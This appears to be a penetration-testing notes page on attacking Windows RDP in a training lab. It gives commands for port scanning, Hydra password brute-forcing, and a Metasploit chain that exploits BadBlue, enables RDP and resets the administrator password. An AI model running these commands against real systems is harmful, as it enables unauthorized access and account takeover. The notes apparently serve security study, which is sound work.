> For the complete documentation index, see [llms.txt](https://security.navidnaf.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.navidnaf.com/flaws-w-magical-frameworks/windows/attacking-services/rdp.md).

# RDP

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, enabling users to remotely access and interact with a Windows system through a graphical user interface (GUI). By default, RDP uses TCP port 3389 but can be configured to run on other ports. Authentication requires valid user credentials, including a username and password in cleartext. Attackers can attempt RDP brute-force attacks to discover valid credentials and gain unauthorized access to a target system.

## Enumeration & Exploitation

### Enumeration

{% code overflow="wrap" %}

```bash
nmap -sV -p- [IP]
```

{% endcode %}

**w/ Metasploit**

{% code overflow="wrap" %}

```bash
msfconsole -q
search rdp_scanner
use auxiliary/scanner/rdp/rdp_scanner
show options
set RHOSTS
set RPORT
run
```

{% endcode %}

### Login Brute-force

{% code overflow="wrap" %}

```bash
hydra -L [wordlist] -P [passlist] rdp://IP -s [PORT]

# connect using xfreerdp
xfreerdp /u:username /p:password /v:IP:Port
```

{% endcode %}

## BadBlue & Enable RDP

{% code overflow="wrap" %}

```bash
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS demo.ine.local
exploit

use post/windows/manage/enable_rdp
set SESSION 1
exploit

sessions -i 1
shell
net user administrator hacker_123321

xfreerdp /u:administrator /p:hacker_123321 /v:demo.ine.local

Y
```

{% endcode %}